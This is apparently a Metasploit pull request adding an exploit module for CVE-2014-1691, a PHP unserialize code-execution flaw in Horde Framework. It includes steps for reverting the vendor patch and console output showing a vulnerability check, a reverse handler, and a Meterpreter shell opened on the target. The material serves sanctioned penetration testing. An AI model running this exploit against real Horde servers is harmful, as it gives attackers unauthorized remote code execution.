rapid7/metasploit-framework — pull request #3123 by jvazquez-r7 (2014-03-19 22:07:29+00:00)
Title: Add module for CVE-2014-1691

Module for Horde Framework Unserialize PHP Code Execution.

Vulnerability and Exploitation details by EgiX available in http://karmainsecurity.com/exploiting-cve-2014-1691-horde-framework-php-object-injection

Tested successfully on Horde 5.1.0 (Standard install, no additional packages) with Ubuntu 10.4.

Verification
----------------

- [ ] Install Horde 5, instructions here: http://www.horde.org/apps/horde/docs/INSTALL#installing-with-pear
- [ ] Undo security patch, available here: https://github.com/horde/horde/commit/da6afc7e9f4e290f782eca9dbca794f772caccb3
- [ ] Test the module like in the DEMO, hopefully enjoy session!

DEMO
--------

```
msf exploit(horde_unserialize_exec) > check
[+] 192.168.172.143:80 - The target is vulnerable.
msf exploit(horde_unserialize_exec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.143:80 - Testing injection...
[*] 192.168.172.143:80 - Exploiting the unserialize()...
[*] Sending stage (39848 bytes) to 192.168.172.143
[*] Meterpreter session 4 opened (192.168.172.1:4444 -> 192.168.172.143:53103) at 2014-03-18 16:07:24 -0500

^C[-] Exploit failed: Interrupt

meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
eComputer : ubuntu
OS : Linux ubuntu 2.6.32-38-generic #83-Ubuntu SMP Wed Jan 4 11:13:04 UTC 2012 i686
Meterpreter : php/php
meterpreter > exit
[*] Shutting down Meterpreter...

```